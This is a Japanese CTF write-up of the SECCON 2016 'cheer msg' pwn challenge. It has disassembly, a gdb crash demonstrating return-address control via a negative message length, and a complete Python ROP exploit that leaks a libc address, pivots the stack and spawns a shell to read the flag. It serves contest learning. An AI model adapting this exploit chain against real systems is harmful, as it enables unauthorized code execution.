SECCON 2016 Online CTF 供養(Writeup)
SECCON 2016 Online CTFにチームで参加。 ほぼExploitジャンルのみを見ていたが、結局一番簡単な問題しか解けなかった。
cheer msg (Exploit 100)
アセンブリコードを見ると、Message Lengthの値に応じてespが引き上げられている(alloca相当の処理らしい)。
080485ca <main>: 80485ca: 8d 4c 24 04 lea ecx,[esp+0x4] 80485ce: 83 e4 f0 and esp,0xfffffff0 ... 80485e7: e8 21 01 00 00 call 804870d <getint> 80485ec: 89 45 f0 mov DWORD PTR [ebp-0x10],eax 80485ef: 8b 45 f0 mov eax,DWORD PTR [ebp-0x10] 80485f2: 8d 50 0f lea edx,[eax+0xf] 80485f5: b8 10 00 00 00 mov eax,0x10 80485fa: 83 e8 01 sub eax,0x1 80485fd: 01 d0 add eax,edx 80485ff: b9 10 00 00 00 mov ecx,0x10 8048604: ba 00 00 00 00 mov edx,0x0 8048609: f7 f1 div ecx 804860b: 6b c0 10 imul eax,eax,0x10 804860e: 29 c4 sub esp,eax
しかし、Message Lengthに負数チェックがされていないため、-150を入れるとmain関数からのリターン時に任意のアドレスにジャンプできる。
$ gdb ./cheer_msg Reading symbols from ./cheer_msg...(no debugging symbols found)...done. (gdb) r Starting program: /home/user/tmp/minipwn/cheer_msg Hello, I'm Nao. Give me your cheering messages :) Message Length >> -150 Message >> Oops! I forgot to ask your name... Can you tell me your name? Name >> AAAA Thank you AAAA! Message : Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () 1: x/i $pc => 0x41414141: <error: Cannot access memory at address 0x41414141> (gdb) quit
ROPを用いてprintf関数でGOT上のlibc関数アドレスをリークした後、getnline関数でstageを読み込んでstack pivotを行い、system関数を呼ぶとシェルが起動する。
ただし、リモートサーバではASCII-armorが有効だったようでlibc_start_mainの下位1バイトが00なため、リーク時に1バイトずらして書き出す必要があった。
from minipwn import * s = connect_process(['./cheer_msg']) #s = socket.create_connection(('cheermsg.pwn.seccon.jp', 30527)) print s.recv(8192) sendline(s, '-150') print s.recv(8192) plt_printf = 0x8048430 got_libc_start = 0x804a028 addr_pop_ebp = 0x80487af addr_pop2_ebp = 0x80487ad addr_getnline = 0x80486bd addr_bss = 0x0804a800 addr_leave = 0x8048518 # the offset of libc_start_main of the remote libc is 0x00019a00 buf = p32(plt_printf) + p32(addr_pop_ebp) + p32(got_libc_start) #buf = p32(plt_printf) + p32(addr_pop_ebp) + p32(got_libc_start+1) buf += p32(addr_getnline) + p32(addr_pop2_ebp) + p32(addr_bss) + p32(100) buf += p32(addr_bss-4) buf += p32(addr_leave) sendline(s, buf) print recvuntil(s, 'Message : \n') data = s.recv(8192) addr_libc_start = u32(data[:4]) #addr_libc_start = u32('\x00'+data[:3]) print "[+] addr_libc_start = %x" % addr_libc_start addr_system = addr_libc_start - 0x00018540 + 0x0003a920 #addr_system = addr_libc_start - 0x00019a00 + 0x00040310 buf = p32(addr_system) + 'BBBB' + p32(addr_bss+12) buf += '/bin/sh\x00' sendline(s, buf) interact(s)
$ python solve.py Hello, I'm Nao. Give me your cheering messages :) Message Length >> Message >> Oops! I forgot to ask your name... Can you tell me your name? Name >> Thank you 0�)��! Message : [+] addr_libc_start = f7564a00 id uid=10168 gid=1001(cheer_msg) groups=1001(cheer_msg) ls cheer_msg flag.txt run.sh cat flag.txt SECCON{N40.T_15_ju571c3}
あとから考えると、printfなど他の関数のGOTをリークさせたほうが楽だった。
所感
他に解きたかった問題は以下。
- jmper (Exploit 300)
- checker (Exploit 300)
- tinypad (Exploit 300)
- chat (Exploit 500)